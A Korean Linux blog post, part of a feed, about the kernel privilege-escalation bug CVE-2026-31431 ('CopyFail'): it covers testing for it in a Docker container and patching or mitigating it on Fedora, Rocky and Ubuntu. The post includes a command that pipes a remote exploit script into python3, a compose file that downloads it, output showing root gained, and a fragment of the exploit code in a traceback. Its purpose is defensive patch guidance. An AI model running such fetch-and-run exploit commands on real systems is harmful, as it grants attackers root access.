&lt;p data-ke-size="size16"&gt;[1] mpv 설정법, https://sunyzero.tistory.com/255&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size="size26"&gt;히스토리&lt;/h2&gt;
&lt;p data-ke-size="size16"&gt;2026.05.17 초안.&lt;/p&gt;</summary>
    <title>mpv.net, 가볍고 빠른 동영상 플레이어, mpv 윈도용</title>
    <updated>2026-05-17T23:29:37+09:00</updated>
    <dc:date>2026-05-17T23:29:37+09:00</dc:date>
  </entry>
  <entry>
    <author>
      <name>sunyzero</name>
    </author>
    <content type="html">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd"&gt;
&lt;html&gt;&lt;body&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;2026년 4월말 리눅스 커널에 치명적인 보안 버그인 일명 CopyFail &lt;span style="color: #ee2323;"&gt;CVE-2026-31431&lt;/span&gt;이 발표되었다. 이 글에서는 CopyFail의 간단한 소개와 보안 버그에 해당하는지 PoC 테스트하는 방법 및 보안 패치, 완화 처치 방안에 대해 다룬다. 특히 커널 업그레이드나 blacklist 처리 방법에 대해서 자세히 다루도록 한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;h2 data-ke-size="size26"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;1. CopyFail CVE-2026-31431이란?&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class="imageblock alignCenter" data-ke-mobilestyle="widthOrigin" data-filename="copyfail_poc_demo.png" data-origin-width="1222" data-origin-height="921"&gt;&lt;span data-url="https://blog.kakaocdn.net/dn/X2g3D/dJMcadBTvKR/FdMBrIYLIhec8dslSgIXKk/img.png" data-phocus="https://blog.kakaocdn.net/dn/X2g3D/dJMcadBTvKR/FdMBrIYLIhec8dslSgIXKk/img.png" data-alt="CopyFail CVE-2026-31431 PoC demo (출처 : copy.fail)"&gt;&lt;img src="https://blog.kakaocdn.net/dn/X2g3D/dJMcadBTvKR/FdMBrIYLIhec8dslSgIXKk/img.png" srcset="https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FX2g3D%2FdJMcadBTvKR%2FFdMBrIYLIhec8dslSgIXKk%2Fimg.png" onerror="this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';" loading="lazy" width="1222" height="921" data-filename="copyfail_poc_demo.png" data-origin-width="1222" data-origin-height="921"&gt;&lt;/span&gt;&lt;figcaption&gt;CopyFail CVE-2026-31431 PoC demo (출처 : copy.fail)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;CopyFail은 2017년에 커널에 도입된 기능으로서 최근에서야 발견되었기 때문에 현재 대부분의 리눅스가 영향을 받는다. &lt;/span&gt;&lt;br&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;이 취약점은 2026년 4월 29일 공개되었고, AI를 사용하여 취약점을 발견하는 보안팀인 Xint Code에 의해 공개되었다.[1]&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;CopyFail 취약점은 로컬 권한 상승(Local Privilege Escalation) 취약점으로, 커널의 암호화를 위한 algif_aead에서 splice 시스템 콜을 처리할 때 하드웨어 가속을 일반 유저에게도 사용할 수 있게 해주던 기능이다. 일반 유저도 커널의 기능을 쉽게 사용할 수 있도록 만들어졌지만, 역으로 커널 레벨에서 관리자 권한을 훔칠 수 있게 되었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;현재 AWS나 대부분의 호스팅 업체에서 사용하는 Fedora계열, RH계열(Rocky, Alma, SuSe, 구형 CentOS...), Debian계열(Debian, Ubuntu, Mint ...) 등등 거의 모든 리눅스가 CopyFail 취약점을 가지고 있다. 특히 RH계열(레드햇 계열)은 algif_aead 커널 기능을 module이 아닌 builtin으로 넣어두었기 때문에 더욱 위험하다고 볼 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;이 취약점은 일단 로컬 유저로 액세스한 뒤에 root 권한을 훔칠 수 있기에 덜 위험하다고 생각될수도 있지만 의존성으로 인해 설치되는 각종 패키지나 혹은 curl | sh 방식으로 프로그램 설치를 유도한 뒤에 시스템에 잠입해서 쉽게 root권한을 훔치는 다양한 공격을 취할 수 있기 때문에 되도록이면 빨리 패치해야만 한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;h2 data-ke-size="size26"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;2. CopyFail PoC 테스트 방법&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;앞서 이야기 했듯이 2017년에 도입된 기능이므로 현재 사용되는 거의 모든 리눅스가 취약하다고 볼 수 있다. 그럼에도 불구하고 자신의 리눅스 시스템에서 확인하고자 한다면 다음과 같이 확인해볼 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;h3 data-ke-size="size23"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;2.1. PoC 코드 (주의!. &lt;span style="color: #ee2323;"&gt;운영 환경에서 사용하지 말 것&lt;/span&gt;)&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;첫번째로 이 취약점을 발견한 Theori의 웹사이트에서는 다음과 같은 명령으로 PoC를 해볼 수 있다. Python 3.10이상에서 사용가능하며, &lt;span style="color: #ee2323;"&gt;이 PoC를 실행하면 su 명령이 암호없이 뚫리는 상태가 되므로 운영 환경에서는 실습하지 않도록 주의해야 한다&lt;/span&gt;. 개인용 시스템이나 실습용 시스템에서만 사용하기를 권장한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;&lt;span style="background-color: #ffc1c8;"&gt;다시 말하지만 운영환경에서는 함부로 실행해보면 안된다&lt;/span&gt;. 만일 실행했다면 &lt;span style="background-color: #f6e199;"&gt;echo 3 &amp;gt; /proc/sys/vm/drop_caches&lt;/span&gt;로 페이지 캐시를 비워주면 복구되는 경우도 간혹 있지만, 만일 복구가 안된다면 리부팅을 해야만 오염된 페이지 캐시가 제거된다. 따라서 copyfail PoC는 절대로 운영환경에서 실행하면 안된다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id="code_1778571178545" class="bash" data-ke-language="bash" data-ke-type="codeblock"&gt;&lt;code&gt;curl https://copy.fail/exp | python3 &amp;amp;&amp;amp; su&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;CopyFail의 PoC 원리는 AF_ALG 소켓을 열고, setuid(0) 코드를 페이지 캐시에 오염시켜서 su 명령시 root 권한으로 명령을 실행하게 한다. 따라서 PoC가 성공한 뒤에는 어떤 유저든지 su 명령시 권한이 상승되어 root 패스워드가 필요없어진다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;h3 data-ke-size="size23"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;2.2. Docker를 이용한 테스트 (&lt;span style="background-color: #9feec3;"&gt;안전한 취약점 테스트 방법&lt;/span&gt;)&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;이 방법은 docker를 이용해서 container에서 PoC를 실행시키는 방법으로, 컨테이너가 host의 algif_aead를 사용하지만 오염시키는 su가 container 안에 있는 su 바이너리라는 점이 다르다. 그리고 container를 제거하기 전에 fadvise로 오염된 컨테이너의 /usr/bin/su의 page cache를 제거하기 위해 POSIX_FADV_DONTNEED를 호출하는 구조를 사용한다. &lt;span style="color: #0593d3;"&gt;이렇게 하면 container를 통해 1회성으로 취약점 PoC 테스트를 해볼 수 있다&lt;/span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;이 테스트 방법은 먼저 docker가 설치되어있어야 한다. 보통 docker-ce를 설치하므로 여기서도 docker-ce가 설치된 시스템을 기준으로 설명한다. 혹시라도 설치되어있지 않다면 "install docker-ce on &amp;lt;배포판&amp;gt;"으로 검색하면 바로 상단에 나올 것이다. 예를 들어 Rocky 리눅스라면 "install docker-ce on rocky linux"로 검색하면 된다. 아니면 AI에게 질문해도 된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;h4 data-ke-size="size20"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;2.2.1. 준비 과정&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;먼저 docker 실행 권한을 가진 일반 유저로 2개의 테스트용 파일(Dockerfile, docker-compose.yml)을 만든다. 적당한 디렉토리를 하나 만들고 그 안에 만들면 편리할 것이다. 아래는 파일을 redirect로 생성하는 명령어로서 복사해서 붙여넣으면 파일이 만들어진다. &lt;/span&gt;&lt;/p&gt;
&lt;pre id="code_1778571450636" class="bash" data-ke-language="bash" data-ke-type="codeblock"&gt;&lt;code&gt;cat &amp;lt;&amp;lt;HERE &amp;gt;Dockerfile
FROM python:3.10-slim
RUN apt-get update &amp;amp;&amp;amp; apt-get install -y --no-install-recommends \
    curl passwd &amp;amp;&amp;amp; rm -rf /var/lib/apt/lists/*
HERE&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;위의 첫번째 명령어를 복사해서 붙여넣어 실행하면 Dockerfile이 생성되고, 아래 두번째 명령어를 복붙해서 실행하면 docker-compose.yml 파일이 생성될 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id="code_1778571502234" class="bash" data-ke-language="bash" data-ke-type="codeblock"&gt;&lt;code&gt;cat &amp;lt;&amp;lt;HERE &amp;gt;docker-compose.yml
services:
  copyfail-test:
    build: .
    container_name: copyfail_test
    privileged: true
    stdin_open: true  # -i option
    tty: true         # -t option
    command: |
      bash -c "
      useradd -m sunyzero -s /bin/bash
      echo 'sunyzero:qwer1234' | chpasswd
      echo 'root:rootqwer1234' | chpasswd
      curl -L https://copy.fail/exp &amp;gt; ~sunyzero/copyfail_poc.py
      chown sunyzero:sunyzero /home/sunyzero/copyfail_poc.py
      echo 'To test exploit(CopyFail,CVE-2026-31431)'
      echo '   Run:    python3 ~/copyfail_poc.py'
      echo '===================[ Ready for your command ]====================='
      su - sunyzero
      # 종료 후 fadvise로 su의 page cache를 비우도록 함.
      python3 -c \"
      import os
      fd = os.open('/usr/bin/su', os.O_RDONLY)
      os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED)
      os.close(fd)
      \"
      sync
      "
HERE&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;2개의 파일이 생성된 다음에는 docker compose 명령으로 실행을 해야 할 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;h4 data-ke-size="size20"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;2.2.2. PoC를 컨테이너에서 실행&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;컨테이너는 다음과 같은 docker compose --rm copyfail-test 명령어로 실행하되, --rm 옵션을 추가해서 컨테이너를 종료하는 즉시 삭제되도록 한다. (아래처럼 명령어가 긴 경우 대충 두서너 글자를 치고 tab을 치면 완성해준다)&lt;/span&gt;&lt;/p&gt;
&lt;pre id="code_1778571582331" class="bash" data-ke-language="bash" data-ke-type="codeblock"&gt;&lt;code&gt;$ docker compose run --rm copyfail-test
...생략...
To test exploit(CopyFail,CVE-2026-31431),
    Run:    python3 ~/copyfail_poc.py
===================[ Ready for your command ]=====================
sunyzero@e31dfcc7a99d:~$ ls
copyfail_poc.py
sunyzero@e31dfcc7a99d:~$ id
uid=1000(sunyzero) gid=1000(sunyzero) groups=1000(sunyzero)
sunyzero@e31dfcc7a99d:~$ su -
Password:   # 정상적으로 password를 묻는 상태이므로 Ctrl-C로 취소한다.

$ python3 ~/copyfail_poc.py
# id
uid=0(root) gid=1000(sunyzero) groups=1000(sunyzero)

# exit
$ exit&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;컨테이너 안에서 내린 명령어를 보면 먼저 ls로 copyfail_poc.py 파일이 저장되어있는지 확인을 했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;그 다음에 id 명령으로 sunyzero 로컬 유저의 UID, GID를 확인했다. 결과를 보면 &lt;span style="background-color: #f6e199;"&gt;uid=1000(sunyzero) ...&lt;/span&gt; 로 일반 유저로 보이고 있다. &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;그리고나서 su - 명령을 내려보면 패스워드를 묻는 &lt;span style="background-color: #9feec3;"&gt;"Password: "&lt;/span&gt; 프롬프트가 제대로 보이고 있다. 즉 암호 체크가 제대로 작동중인 안전한 상태인 것이다. 아직 PoC를 실행하지 않은 상태에서 정상인지 확인했으니, Ctrl-C로 취소한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;그 다음에는 PoC 코드인 &lt;span style="background-color: #ffc1c8;"&gt;python3 ~/copyfail_poc.py&lt;/span&gt;를 실행하면 root 계정이 탈취되는지 확인할 수 있다. 위의 경우에는 id에 uid=0(root)가 나오는 것으로 보이므로 로컬 권한 상승으로 root 계정이 탈취당했음을 알 수 있다. 안전하게 보안 패치된 시스템에서는 패스워드를 묻는 프롬프트가 나와서 로컬 권한 상승을 막는다. 혹은 완화 처리(mitigation)된 시스템에서는 오류가 발생하도록 되어있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;취약점이 존재하여 root를 탈취당하는 시스템이라면 아래와 같이 copyfail 보안 패치나 완화 방법을 사용해야 한다. 여기서는 Fedora, Rocky, Ubuntu별로 따로 설명하도록 한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;h2 data-ke-size="size26"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;3. CopyFail 보안 패치 방법&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;레드햇 계열(Fedora, Rocky, Alma ...)들은 algif_aead가 커널에 builtin되어있고, 데비안 계열(Debian, Ubuntu, Mint...)들은 module로 되어있어서 패치 방법이 조금은 다르다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;레드햇 계열에서는 패치된 커널로 업그레이드하거나 아니면 boot parameter에서 blacklist로 해당 기능을 처리하는 완화 방법(mitigation)이 주로 쓰이고, 데비안 계열은 module이라 간단하게 blacklist 환경 설정 파일만 설정해주면 된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;우선 커널에 AEAD이 존재하는지는 /boot/config-$(uname -r)파일이나 modinfo로 쉽게 알 수 있다. 아래는 레드햇 계열에서 살펴본 것으로 modinfo에서 filename이 builtin으로 나오는 것을 볼 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id="code_1778573316663" class="routeros" style="background-color: #f8f8f8; color: #383a42; text-align: start;" data-ke-type="codeblock" data-ke-language="bash"&gt;&lt;code&gt;$ grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
CONFIG_CRYPTO_USER_API_AEAD=y

$ modinfo algif_aead
name:           algif_aead
filename:       (builtin)
description:    AEAD kernel crypto API user space interface
author:         Stephan Mueller &amp;lt;smueller@chronox.de&amp;gt;
license:        GPL
file:           crypto/algif_aead&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;우분투는 filename에 경로가 나오는 것으로 봐서 kernel module임을 알 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id="code_1778573609155" class="bash" data-ke-language="bash" data-ke-type="codeblock"&gt;&lt;code&gt;$ modinfo algif_aead
filename:       /lib/modules/5.15.0-144-generic/kernel/crypto/algif_aead.ko
description:    AEAD kernel crypto API user space interface
author:         Stephan Mueller &amp;lt;smueller@chronox.de&amp;gt;&amp;lt;/smueller@chronox.de&amp;gt;
license:        GPL
srcversion:     F89A7DE8CA18E13AB028AA1
...생략...&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;h3 data-ke-size="size23"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;3.1. Fedora 리눅스 (레드햇 계열)&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;페도라 리눅스에서는 이 글을 쓰는 시점인 5월 9일경 확인한 결과 6.19.14-300에 이어 7.0.4 커널이 올라왔으나 해결은 아직 안된 상태이다. 그럼에도 불구하고 다른 취약점이 패치되어있기 때문에 커널을 업데이트 해주는 것을 추천한다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id="code_1778572015839" class="bash" data-ke-language="bash" data-ke-type="codeblock"&gt;&lt;code&gt;sudo dnf -y update kernel&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;&lt;span style="background-color: #f6e199;"&gt;커널 업데이트 후에는 reboot를 해야만 한다.&lt;/span&gt; 패치가 제대로 되었다면 docker로 PoC 실행시 다음과 같이 root 로 권한이 상승되지 못하고 패스워드를 묻는 프롬프트인 "Password: "가 나타나게 된다. 아래 테스트는 페도라43, 페도라44에서 테스트 되었다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id="code_1778572520220" class="bash" data-ke-language="bash" data-ke-type="codeblock"&gt;&lt;code&gt;$ docker compose run --rm copyfail-test 
Container copyfail-poc-docker-copyfail-test-run-3e60658ad202 Creating 
Container copyfail-poc-docker-copyfail-test-run-3e60658ad202 Created 
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   731    0   731    0     0   4615      0 --:--:-- --:--:-- --:--:--  4626
To test exploit(CopyFail,CVE-2026-31431)
   Run:    python3 ~/copyfail_poc.py
===================[ Ready for your command ]=====================
sunyzero@f1afcd499e5d:~$ python3 ~/copyfail_poc.py
Password:&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;h3 data-ke-size="size23"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;3.2. Rocky 리눅스 (레드햇 계열)&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;Rocky 리눅스는 이 글을 처음 쓰던 시점에서는 grubby로 부팅 시점에 algif_aead_init 모듈을 blacklist 처리하는 boot parameter를 추가하는 완화 방법으로 처리하도록 안내하고 있었으나, 중간에 5월 9~10일경에 패치된 커널이 올라왔다.[2] 따라서 아래 커널 업그레이드 방법(Plan A)로 처리하는 것을 추천한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;h4 data-ke-size="size20"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;3.2.1. 커널 업그레이드 방법 (Plan A)&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;Rocky Linux는 5월 8~10일 경에는 대부분의 버전을 패치했으므로 커널 업그레이드 방법으로 쉽게 해결할 수 있다. 이 글을 탈고하는 시점에서는 Rocky Linux 10은 7.0.x 버전으로 올라가서 다른 보안 취약점까지 같이 패치되고, Rocky Linux 9.6은 5.14.0-611.54.1로 업데이트 되었다. &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;커널 업그레이드 방법은 페도라 리눅스와 같다. 테스트는 로키 리눅스 10.1과 9.6에서 테스트 되었다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id="code_1778572201110" class="bash" data-ke-language="bash" data-ke-type="codeblock"&gt;&lt;code&gt;sudo dnf -y update kernel&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;커널 업데이트가 완료된 후에는 reboot를 해줘야만 한다. 리부팅 뒤에도 앞서 docker로 PoC를 검사하는 부분을 체크해보는 것을 권장한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;h4 data-ke-size="size20"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;3.2.2. grubby로 부트 파라메터 조작 방법 (Plan B)&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;Plan B 방법은 커널 업그레이드가 용이하지 않을 때 사용하는 방법이다. 하지만 되도록이면 위 플랜A인 커널 업그레이드를 권장한다. 이 기능은 grubby를 사용하므로 root 권한으로 명령한다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id="code_1778572299542" class="bash" data-ke-language="bash" data-ke-type="codeblock"&gt;&lt;code&gt;sudo grubby --args initcall_blacklist=algif_aead_init --update-kernel=ALL&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;플랜B는 algif_aead를 커널 레벨에서 블랙리스트 처리하므로 docker PoC로 실행해보면 아래처럼 에러가 발생한다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id="code_1778573430137" class="bash" data-ke-language="bash" data-ke-type="codeblock"&gt;&lt;code&gt;$ docker compose run --rm copyfail-test
Container sunyzero-copyfail-test-run-b5913c93ffa3 Creating
Container sunyzero-copyfail-test-run-b5913c93ffa3 Created
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   731    0   731    0     0   2044      0 --:--:-- --:--:-- --:--:--  2041
To test exploit(CopyFail,CVE-2026-31431)
   Run:    python3 ~/copyfail_poc.py
===================[ Ready for your command ]=====================
sunyzero@c18f31aee811:~$  python3 ~/copyfail_poc.py
Traceback (most recent call last):
  File "/home/sunyzero/copyfail_poc.py", line 9, in 
    while i
  File "/home/sunyzero/copyfail_poc.py", line 5, in c
    a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
FileNotFoundError: [Errno 2] No such file or directory
sunyzero@c18f31aee811:~$&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;h3 data-ke-size="size23"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;3.3. Ubuntu 리눅스&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;&lt;span style="color: #333333; text-align: start;"&gt;우분투 리눅스는 취약점이 있는 algif_aead가 module로 빌드되어있기 때문에 &lt;/span&gt;kernel 패키지에 직접 패치 하지 않고  블랙리스트 처리와 비슷하게 /etc/modprobe.d/disable-algif_aead.conf 파일을 만드는 완화 방법을 사용한다.[3] 따라서 해당 conf 파일을 설치하는 패키지를 제공하는데, 패키지 이름은 kmod 로서 다음과 같이 sudo apt install --only-upgrade kmod 명령으로 업데이트하면 된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;kmod 업그레이드 명령에 --only-upgrade 옵션을 사용하면 의존성에 걸린 다른 패키지들을 줄줄이 업데이트하지 않고 딱 kmod만 업그레이드하도록 되어있다. 회사에서 다른 큰 문제가 없다면 sudo apt upgrade로 싹다 업그레이드해도 되지만, 만약에 다른 프로그램들이 작동 중이라면 안전하게 kmod만 업그레이드하는 것도 괜찮다. 아래는 우분투 22에서 테스트한 결과이다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id="code_1778573678331" class="bash" data-ke-language="bash" data-ke-type="codeblock"&gt;&lt;code&gt;$ sudo apt update
...생략...
$ sudo apt install --only-upgrade kmod
...생략...&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;이 방법의 장점은 재부팅하지 않고도 활성화 시킬 수 있다. (물론 재부팅을 해도 된다) 그리고나서 algif_aead 커널 모듈이 로딩되어있을테니 제거해주면 된다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id="code_1778573741173" class="bash" data-ke-language="bash" data-ke-type="codeblock"&gt;&lt;code&gt;$ lsmod | grep aead
algif_aead             16384  0
af_alg                 32768  1 algif_aead

$ sudo rmmod algif_aead&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;우분투의 kmod가 업그레이드 되면서 설치하는 disable-algif_aead.conf 파일은 copyfail 취약점의 통로인 algif_aead kernel module을 /bin/false로 비활성화 하는 것으로 내용은 다음과 같다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id="code_1778573798416" class="bash" data-ke-language="bash" data-ke-type="codeblock"&gt;&lt;code&gt;$ cat  /etc/modprobe.d/disable-algif_aead.conf
# Disable algif_aead module due to CVE-2026-31431 (AKA copy.fail)
# This will likely be re-enabled in a subsequent update once an updated
# kernel has been deployed.
# Blacklisting the module isn't sufficient, we need to do as below:
install algif_aead /bin/false&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;간혹 blacklist algif_aead 로 설정하라는 글이 있는데, 위 주석에도 적혀있듯이 blacklist보다는 /bin/false로 하는 방법이 더 깔끔하다. 참고로 kmod의 conf 파일을 실수로 지웠다든지 하는 경우에는 재설치할 때 missing conf 파일을 덮어쓰도록 하는 옵션을 사용해서 아래처럼 명령해야 한다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id="code_1778573819734" class="bash" data-ke-language="bash" data-ke-type="codeblock"&gt;&lt;code&gt;sudo apt-get -o Dpkg::Options::="--force-confmiss" install --reinstall kmod&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;h2 data-ke-size="size26"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;4. 결론&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;리눅스의 CopyFail 취약점을 패치하기 위해서는 Fedora, Rocky, Ubuntu가 조금씩 다르기 때문에 그에 맞춰서 업그레이드 혹은 패치해주면 된다. 각 리눅스 배포판에 따라 패치가 나와있는지도 확인해보는 것이 좋다.[4] 다만 패치 후에는 확실하게 보완되었는지를 docker 컨테이너에서 테스트를 통해 검증해보는 것도 필요하다고 생각된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
